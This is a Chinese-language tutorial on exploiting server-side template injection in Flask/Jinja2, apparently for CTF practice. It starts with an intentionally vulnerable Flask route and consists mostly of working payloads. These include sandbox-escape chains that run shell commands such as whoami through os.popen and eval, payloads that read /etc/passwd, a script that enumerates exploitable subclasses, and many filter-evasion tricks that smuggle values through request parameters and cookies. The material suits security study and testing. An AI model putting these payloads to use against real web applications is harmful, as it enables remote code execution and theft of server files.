环境
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test/')
def test():
code = request.args.get('id')
template = '''
<h3>%s</h3>
'''%(code)
return render_template_string(template)
if __name__ == '__main__':
app.run()
搭建本地环境所用代码
jinja2官方文档
可以阅读参考学习
基础
__base__ //对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法
__mro__ //同样可以获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到
__base__ //类型对象的直接基类
__bases__ //类型对象的全部基类,以元组形式,类型的实例通常没有属__bases__
__subclasses__() //继承此对象的子类,返回一个列表
__globals__ //返回一个由当前函数可以访问到的变量,方法,模块组成的字典,不包含该函数内声明的局部变量。
__getattribute__()实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__builtins__ //返回一个由内建函数函数名组成的列表。
__getitem__(index) //返回索引为index的值。
url_for //可以直接和__globals__配合,如:url_for.__globals__['__builtins__'],或者和string等配合,详情看迭代器部分
lipsum //flask的一个方法,可以直接和__globals__配合,如:lipsum.__globals__['__builtins__'],或者和string等配合,详情看迭代器部分
__init__ //该方法用于将对象实例化,如x.__init__.__globals__['__builtins__']
//{{''.__class__.__mro__[-1].__subclasses__()["type"].__init__.__globals__}}像这种找到了类要查看该类的方法要先__init__再用__globals__,直接用__globals__会报错
config //查看配置文件
app
__doc__
get_flashed_messages // flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
__dic__ // 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
current_app 应用上下文,一个全局变量。
__import__ //动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
语法
下面这些是ssti常用到的一些语句
{{5*5}} 直接执行
{% set a="test" %}{{a}} //设置变量
{% for i in ['t ','e ','s ','t '] %}{{i}}{%endfor%} //执行循环
{% if 25==5*5 %}{{"success"}}{% endif %} //条件执行
{%print ’‘__.class__%} //会将执行结果输出,在{{过滤时有起效,如[GWCTF 2019]你的名字
变量
jinja文档中是这么描述的,大致意思就是除了标准的python语法使用点(.)外,还可以使用中括号([])来访问变量的属性,或者是使用_getitem_这种魔术方法来访问属性
我们要使用字典中的键值的话,也可以用list.pop(“var”),但大家最好不要用这个,除非万不得已,因为会删除里面的键,如果删除的是一些程序运行需要用到的,就可能使得服务器崩溃。然后过了一遍字典的方法,发现get和setdefault是个不错的选择
{{url_for.__globals__['__builtins__']}}
{{url_for.__globals__.__getitem__('__builtins__')}}
{{url_for.__globals__.pop('__builtins__')}}
{{url_for.__globals__.get('__builtins__')}}
{{url_for.__globals__.setdefault('__builtins__')}}
下面的执行结果不难看出,他们都可以访问属性
值得注意的是,这样是行不通的
其实他是调用了魔术方法__getattribute__
字符串绕过方法
1、拼接
“cla”+“ss”
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
这里拼接过后好像用.会报错,用[]和__getattribute__访问没问题
2、反转
“ssalc”[::-1]
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])
反转和拼接一样,[]和__getattribute__正常使用,.不行。
3、ascii转换
"{0:c}".format(97) //'a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95) //'__class__'
这里补充下c的作用
4、编码绕过
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
对于python2的话,还可以利用base64进行绕过
"__class__"==("X19jbGFzc19f").decode("base64")
5、利用chr函数
因为我们没法直接使用chr函数,所以需要通过__builtins__找到他
{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
这里就相当于上面语法所说那样,{{%set %}}设置变量,{{}}将构造好的语句直接执行
6、在jinja2里面可以利用~进行拼接
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
7、大小写转换
前提是过滤的只是小写
""["__CLASS__".lower()]
过滤器
讲几个对我们进行模板注入比较实用的吧,其他的大家可以去文档中学习。
1.attr
""|attr("__class__")
相当于
"".__class__
2.format
和前面说的format函数没啥区别,主要是有时侯会过滤.,这时我们可以用|绕过
3.first last random
如字面意思,分别是,返回第一个,最后一个,随机返回一个。
前两个其实用处不是很大,因为他只能返回第一个值或者最后一个,当然,如果我们用的就是第一个或者最后一个那就ok了。
random的话是随机返回,这样我们跑个脚本肯定是可以得到我们想要的。
4.join
""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
""["__class__"]
5.replace
"__cladd__"|replace("dd","ss") // "__class__"
6.reverse
"__ssalc__"|reverse // "__class__"
7.string
功能类似于python内置函数 str
有了这个的话我们可以把显示到浏览器中的值全部转换为字符串再通过下标引用,就可以构造出一些字符了,再通过拼接就能构成特定的字符串
().__class__ //出来的是<class 'tuple'>
(().__class__|string)[0] 出来的是<
这个非常有用,通常就是这么获取字符拼接构造的
8.select
这个单独看感觉没啥用,但是和string配合后可就不同了
{{''|select|string}}
结果如下
这样我们就可以根据需求提取我们需要的字符进行构造
(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]
9.list
转换成列表
更多的用途是配合上面的string转换成列表,就可以调用列表里面的方法取字符了
只是单纯的字符串的话取单个字符方法有限
(()|select|string)[0]
如果中括号被过滤了,挺难的
但是列表的话就可以用pop取下标了
当然都可以使用__getitem__
(()|select|string|list).pop(0)
发掘可用的payload
python环境常用命令执行方式:
os.system()
用法:os.system(command)
os.popen()
用法:os.popen(command[,mode[,bufsize]])
说明:mode – 模式权限可以是 ‘r’(默认) 或 ‘w’。
subprocess
subprocess 模块有比较多的功能,subprocess模块被推荐用来替换一些老的模块和函数,如:os.system、os.spawn、os.popen等
subprocess模块目的是启动一个新的进程并与之通信。这里只讲用来运行shell命令的两个常用方法。
subprocess.call(“command”)
父进程等待子进程完成
返回退出信息(returncode,相当于Linux exit code)
与os.system功能相似,也无执行结果的回显
subprocess.Popen(“command”)
我们除了知道了linecache、os可以获取到命令执行的函数以外,我们前面还提到了一个__builtins__内建函数,在python的内建函数中我们也可以获取到诸如eval等执行命令的函数。
下面这个脚本用来查找可用的库,很有用
num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
#print item
try:
if item.__init__.__globals__.keys():
if '__builtins__' in item.__init__.__globals__.keys():
print(num,item,'__builtins__')
if 'os' in item.__init__.__globals__.keys():
print(num,item,'os')
if 'linecache' in item.__init__.__globals__.keys():
print(num,item,'linechache')
num+=1
except:
num+=1
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("whoami").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
这个脚本可以根据需要自行修改
做题思路
ssti类型的题目一般只有下面两种考点
1.查配置文件
什么是查配置文件?我们都知道一个python框架,比如说flask,在框架中内置了一些全局变量,对象,函数等等。我们可以直接访问或是调用。
我们通常会用{{config}}查询配置信息,如果题目有设置类似app.config [‘FLAG’] = os.environ.pop(‘FLAG’),就可以直接访问{{config[‘FLAG’]}}或者{{config.FLAG}}获得flag
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
2.命令执行(其实就是沙盒逃逸类题目的利用方式)
补充
request绕过
GET方式,利用request.args传递参数
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd
{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__
POST方式,利用request.values传递参数
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd
Cookie方式,利用request.cookies传递参数
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd
过滤init,可以用__enter__或__exit__替代
{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
过滤args和.和_
之前在y1ng师傅博客看到的一个payload,原理并不难,这里使用了attr()绕过点,values绕过args,payload如下
{{()|attr(request['values']['x1'])|attr(request['values']['x2'])|attr(request['values']['x3'])()|attr(request['values']['x4'])(40)|attr(request['values']['x5'])|attr(request['values']['x6'])|attr(request['values']['x4'])(request['values']['x7'])|attr(request['values']['x4'])(request['values']['x8'])(request['values']['x9'])}}
post:x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('whoami').read()
Unicode绕过
下面这两个是等价的
{{()|attr("__class__")}}
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}
存在的子模块可以通过.index()来进行查询,如果存在的话返回索引,直接调用即可:
>>> ''.__class__.__mro__[2].__subclasses__().index(file)
40
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
#将read() 修改为 write() 即为写文件
实例的话这里就不举具体的例子了,但是我觉得大佬写的这两道题的wp非常不错
ezflask
babyflask
参考文章:
https://blog.csdn.net/miuzzx/article/details/110220425
https://www.anquanke.com/post/id/188172#h2-11
https://blog.csdn.net/qq_38154820/article/details/111399386